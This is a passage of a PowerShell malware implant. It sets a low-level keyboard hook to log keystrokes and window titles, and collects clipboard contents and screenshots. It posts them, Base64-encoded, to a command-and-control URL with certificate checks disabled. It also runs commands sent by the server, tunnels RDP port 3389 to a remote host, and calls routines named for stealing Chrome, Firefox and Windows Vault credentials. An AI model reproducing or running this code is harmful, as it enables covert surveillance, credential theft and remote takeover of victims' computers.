& cmd /c "$env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password -unat=y"
} -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
elseif ($cmd -ne '') { Start-Job -ScriptBlock {& cmd /c $args[0]} -ArgumentList $cmd
Write-Host $args[0]
}}}
$WebGetTimer = 1200
Start-Sleep -Seconds $WebGetTimer
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function PostFile($file_name) {
$name = (Get-ChildItem $file_name).name
$bytes = [System.IO.File]::ReadAllBytes($file_name)
$enc = [System.Text.Encoding]::GetEncoding($codePageName)
$data = $enc.GetString($bytes)
[System.Net.WebRequest]$webRequest = [System.Net.WebRequest]::Create($params.url+'/pshscr')
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "image/jpeg"
$webRequest.Method = "POST"
[byte[]]$bytes = $enc.GetBytes($data);
$webRequest.ContentLength = $bytes.Length;
$webRequest.Headers.add('content-disposition', "file=$name")
$webRequest.Headers.add('hashid', $params.hashid)
$webRequest.Headers.add('computer_name', $params.computer_name)
$webRequest.Headers.add('domain', $params.domain)
$webRequest.Headers.add('username', $params.username)
[System.IO.Stream]$reqStream = $webRequest.GetRequestStream()
$reqStream.Write($bytes, 0, $bytes.Length);
$reqStream.Flush();
$resp = $webRequest.GetResponse();
$rs = $resp.GetResponseStream();
[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $rs;
$sr.ReadToEnd();
}
function WebPost {
$pshlog_url = $params.url+"/pshlog"
while ($true) {
$WebPostTimer = 1200
Start-Sleep -Seconds $WebPostTimer
Write-host $params.log_file
If (Test-Path $log_file) {
#$content = [IO.File]::ReadAllText($params.log_file)
$aaa = Get-Content $params.log_file
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
$json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "keylog"}
$log_json = $json | ConvertTo-Json
Write-Host $log_json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($pshlog_url)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item $log_file
}
if (Test-Path "$env:Temp\Applnsights_VisualStudio.txt") {
$clipfile = "$env:Temp\Applnsights_VisualStudio.txt"
$aaa = Get-Content $clipfile | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
$json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "clipboard"}
$log_json = $json | ConvertTo-Json
write-host $log_json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("$pshlog_url")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item $clipfile
}
$directoryInfo = Get-ChildItem $ScreenshotPath
If ($directoryInfo) {
$directoryInfo | ForEach-Object {
Write-Host $_.FullName
PostFile($_.FullName)
Remove-Item $_.FullName
}
}
}
}
function Get-Keystrokes {
<#
.SYNOPSIS
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PassThru
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
Get-Keystrokes -Timeout 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction
https://github.com/ahhh/PSSE
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[Double]$Timeout,
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
[Parameter(Position = 1)]
[Double]$Timeout
)
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#region Imports
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
# SetWindowsHookEx
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
# CallNextHookEx
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
# UnhookWindowsHookEx
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
# PeekMessage
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
# GetAsyncKeyState
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
# GetForegroundWindow
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
# GetWindowText
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
# GetModuleHandle
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
#endregion Imports
$CallbackScript = {
Param (
[Parameter()]
[Int32]$Code,
[Parameter()]
[IntPtr]$wParam,
[Parameter()]
[IntPtr]$lParam
)
$Keys = [Windows.Forms.Keys]
$MsgType = $wParam.ToInt32()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
$hWindow = $GetForegroundWindow.Invoke()
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
else { $Shift = $false }
$Caps = [Console]::CapsLock
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
else { $Key = $vKey.ToString().ToLower() }
}
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
switch ($vKey.value__) {
96 { $Key = '0' }
97 { $Key = '1' }
98 { $Key = '2' }
99 { $Key = '3' }
100 { $Key = '4' }
101 { $Key = '5' }
102 { $Key = '6' }
103 { $Key = '7' }
104 { $Key = '8' }
105 { $Key = '9' }
106 { $Key = "*" }
107 { $Key = "+" }
108 { $Key = "|" }
109 { $Key = "-" }
110 { $Key = "." }
111 { $Key = "/" }
}
}
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
49 { $Key = '!' }
50 { $Key = '@' }
51 { $Key = '#' }
52 { $Key = '$' }
53 { $Key = '%' }
54 { $Key = '^' }
55 { $Key = '&' }
56 { $Key = '*' }
57 { $Key = '(' }
186 { $Key = ':' }
187 { $Key = '+' }
188 { $Key = '<' }
189 { $Key = '_' }
190 { $Key = '>' }
191 { $Key = '?' }
192 { $Key = '~' }
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
222 { $Key = '<Double Quotes>' }
}
}
else {
switch ($vKey.value__) {
48 { $Key = '0' }
49 { $Key = '1' }
50 { $Key = '2' }
51 { $Key = '3' }
52 { $Key = '4' }
53 { $Key = '5' }
54 { $Key = '6' }
55 { $Key = '7' }
56 { $Key = '8' }
57 { $Key = '9' }
186 { $Key = ';' }
187 { $Key = '=' }
188 { $Key = ',' }
189 { $Key = '-' }
190 { $Key = '.' }
191 { $Key = '/' }
192 { $Key = '`' }
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
222 { $Key = '<Single Quote>' }
}
}
}
else {
switch ($vKey) {
$Keys::F1 { $Key = '<F1>' }
$Keys::F2 { $Key = '<F2>' }
$Keys::F3 { $Key = '<F3>' }
$Keys::F4 { $Key = '<F4>' }
$Keys::F5 { $Key = '<F5>' }
$Keys::F6 { $Key = '<F6>' }
$Keys::F7 { $Key = '<F7>' }
$Keys::F8 { $Key = '<F8>' }
$Keys::F9 { $Key = '<F9>' }
$Keys::F10 { $Key = '<F10>' }
$Keys::F11 { $Key = '<F11>' }
$Keys::F12 { $Key = '<F12>' }
$Keys::Snapshot { $Key = '<Print Screen>' }
$Keys::Scroll { $Key = '<Scroll Lock>' }
$Keys::Pause { $Key = '<Pause/Break>' }
$Keys::Insert { $Key = '<Insert>' }
$Keys::Home { $Key = '<Home>' }
$Keys::Delete { $Key = '<Delete>' }
$Keys::End { $Key = '<End>' }
$Keys::Prior { $Key = '<Page Up>' }
$Keys::Next { $Key = '<Page Down>' }
$Keys::Escape { $Key = '<Esc>' }
$Keys::NumLock { $Key = '<Num Lock>' }
$Keys::Capital { $Key = '<Caps Lock>' }
$Keys::Tab { $Key = '<Tab>' }
$Keys::Back { $Key = '<Backspace>' }
$Keys::Enter { $Key = '<Enter>' }
$Keys::Space { $Key = '< >' }
$Keys::Left { $Key = '<Left>' }
$Keys::Up { $Key = '<Up>' }
$Keys::Right { $Key = '<Right>' }
$Keys::Down { $Key = '<Down>' }
$Keys::LMenu { $Key = '<Alt>' }
$Keys::RMenu { $Key = '<Alt>' }
$Keys::LWin { $Key = '<Windows Key>' }
$Keys::RWin { $Key = '<Windows Key>' }
$Keys::LShiftKey { $Key = '<Shift>' }
$Keys::RShiftKey { $Key = '<Shift>' }
$Keys::LControlKey { $Key = '<Ctrl>' }
$Keys::RControlKey { $Key = '<Ctrl>' }
$Keys::MouseClick { $Key = '<LMouse>' }
}
}
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
$obj = New-Object psobject -Property $Props
# Hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]+'[]nl'
#Invoke-WebRequest -uri "http://45.79.173.232:9002/log" -Method POST -Body $JSON
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Get handle to PowerShell for hook
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
$Stopwatch.Stop()
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}
Get-Keystrokes; Title-Monitor; WebGet; GetChrome; GetFF; GetVault; Gclip; WebPost
Comments